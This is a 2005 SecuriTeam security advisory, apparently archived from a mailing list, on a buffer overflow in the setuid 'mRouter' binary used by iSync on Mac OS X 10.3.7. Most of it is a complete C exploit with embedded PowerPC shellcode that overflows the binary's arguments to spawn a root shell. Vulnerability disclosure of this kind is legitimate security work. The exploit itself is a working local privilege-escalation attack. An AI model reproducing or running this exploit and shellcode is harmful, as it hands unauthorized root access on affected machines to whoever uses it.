[UNIX] Mac OS X 10.3 iSync Local Privilege Escalation (mRouter)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/23/05

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Date: 23 Jan 2005 14:35:44 +0200

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      Mac OS X 10.3 iSync Local Privilege Escalation (mRouter)
    ------------------------------------------------------------------------

    SUMMARY

    Mac OS X's iSync service contains a setuid binary called 'mRouter' that
    contains an exploitable buffer overflow. This buffer overflow can be
    triggered by using the -v and -a switches, and providing it with a buffer
    of 4096 bytes.

    DETAILS

    Vulnerable Systems:
     * Mac OS X 10.3.7 with iSync

    Exploit:
    /*
      * fm-iSink.c
      * overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
      *
      * written by -( nemo @ felinemenace.org )-
      *
      * _,'| _.-''``-...___..--';)
      * /_ \'. __..-' , ,--...--'''
      * <\ .`--''' ` /'
      * `-';' ; ; ;
      * __...--'' ___...--_..' .;.'
      * fL (,__....----''' (,..--''
      *
      * http://pulltheplug.org and http://felinemenace.org.
      *
      * Bug discovered by Braden Thomas. Exploit by nemo.
      *
      * -( need a challenge...? )-
      * -( http://www.pulltheplug.org )-
      */

    #include <sys/types.h>
    #include <string.h>
    #include <unistd.h>

    #define VULNPROG
    "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
    mRouter"
    #define MAXBUFSIZE 4096

    char shellcode[] = // Shellcode by b-r00t, modified by nemo.
    "\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
    "\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
    "\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
    "\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
    "\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
    "\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
    "\x2f\x73\x68";

    char filler[MAXBUFSIZE];

    int main(int ac, char **av)
    {
    unsigned int ret = 0xbffffffa - strlen(shellcode);
             char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
    char *env[] = { "TERM=xterm", shellcode, NULL };

             memset(filler,(char)'A',sizeof(filler));
             memcpy(filler+MAXBUFSIZE-5,&ret,4);

    execve(*args, args,env);

             return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:bjthomas@usc.edu> Braden
    Thomas.

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